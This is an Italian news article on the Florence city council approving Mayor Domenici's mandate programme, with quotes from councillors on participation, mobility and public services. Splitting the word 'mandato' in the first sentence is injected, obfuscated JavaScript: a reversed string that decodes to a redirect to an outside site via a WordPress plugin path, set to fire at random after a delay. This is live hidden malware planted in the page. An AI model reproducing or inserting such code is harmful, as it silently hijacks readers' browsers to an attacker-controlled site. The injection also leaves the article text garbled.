Palazzo Vecchio, approvato il programma di mandato

image_pdfimage_print

Il programma di m (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andato della giunta comunale guidata da Leonardo Domenici viene approvato dall’assemblea di Palazzo Vecchio, con il voto favorevole del centrosinistra, e quello contrario della sinistra critica e della destra berlusconiana. Ai fatti, ampiamente prevedibili, vanno aggiunte due notizie ‘politiche’. La prima è che dopo una settimana di fibrillazioni il consiglio comunale si è svolto in modo tranquillo e civile, con un pacato e puntuale confronto fra due realtà – la maggioranza e l’opposizione di Rifondazione e unaltracittà – che nel paese sono obbligatoriamente insieme nella grande alleanza democratica. La seconda è che il sindaco Domenici, intervenuto per tirare le somme dell’esperienza di Firenzeinsieme, ha accusato il centrodestra di «nichilismo», segnando così il confine fra chi discute realmente sulle cose, e chi invece si oppone pregiudizialmente a qualsiasi forma di allargamento del dibattito sulla città che verrà. Dei circa cinquanta incontri promossi dall’assessorato alla partecipazione negli ultimi due mesi era già stata fatta una sintesi alla fine della settimana. In Palazzo Vecchio ieri Cristina Bevilacqua ha ribadito il numero dei cittadini presenti (3.500) e di quelli intervenuti (584), sottolineando poi che le osservazioni dei fiorentini guardano specialmente alla mobilità, al governo del territorio, e alle esperienze di cittadinanza attiva. Di qui le richieste di un potenziamento del trasporto pubblico locale, della creazione di «reti ciclabili integrate», di un «decongestionamento degli spazi valorizzando il verde e i vuoti urbani», dell’esigenza sempre più diffusa di «spazi per l’incontro, fisici e immateriali».

Nel suo intervento, Domenici ha ringraziato l’assessore Bevilacqua per il lavoro svolto, e per quello che verrà: «Mi ha fatto piacere sentire parole diverse – ha spiegato il sindaco – ma tutte intese (sia da centrosinistra che da sinistra critica, ndr) a far proseguire questa esperienza». Poi è arrivata la puntualizzazione che il piano strutturale (ex piano regolatore) è stato già approvato dalla precedente legislatura nell’aprile scorso. Infine l’osservazione di una personale contrarietà alla rimunicipalizzazione delle aziende di gestione dei servizi pubblici, con al tempo stesso un monito: «Non possiamo correre il rischio di una dismissione di responsabilità dei comuni verso le aziende partecipate». Ora Rifondazione: «Quando i cittadini intervenuti agli incontri di Firenzeinsieme chiedono di recuperare l’identità urbana – ha osservato lucidamente Monica Sgherri – riqualificando ambientalmente e socialmente la città, io ci sto. Ma non dimentichiamo che sul versante economico c’è già l’attore principale, ed è il privato». A ruota unaltracittà: «C’è stato l’impegno dell’amministrazione ad una operazione di informazione che fino ad oggi non era stata mai fatta – ha detto Ornella De Zordo – ed è un bene. Ma ora sul piano strutturale ci sarà un impegno a riaprire i termini per la presentazione delle osservazioni? Si potrà avere qualche apertura, e si potranno fare dei ‘laboratori di progettazione partecipata’?». Tutte domande in attesa di risposta.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *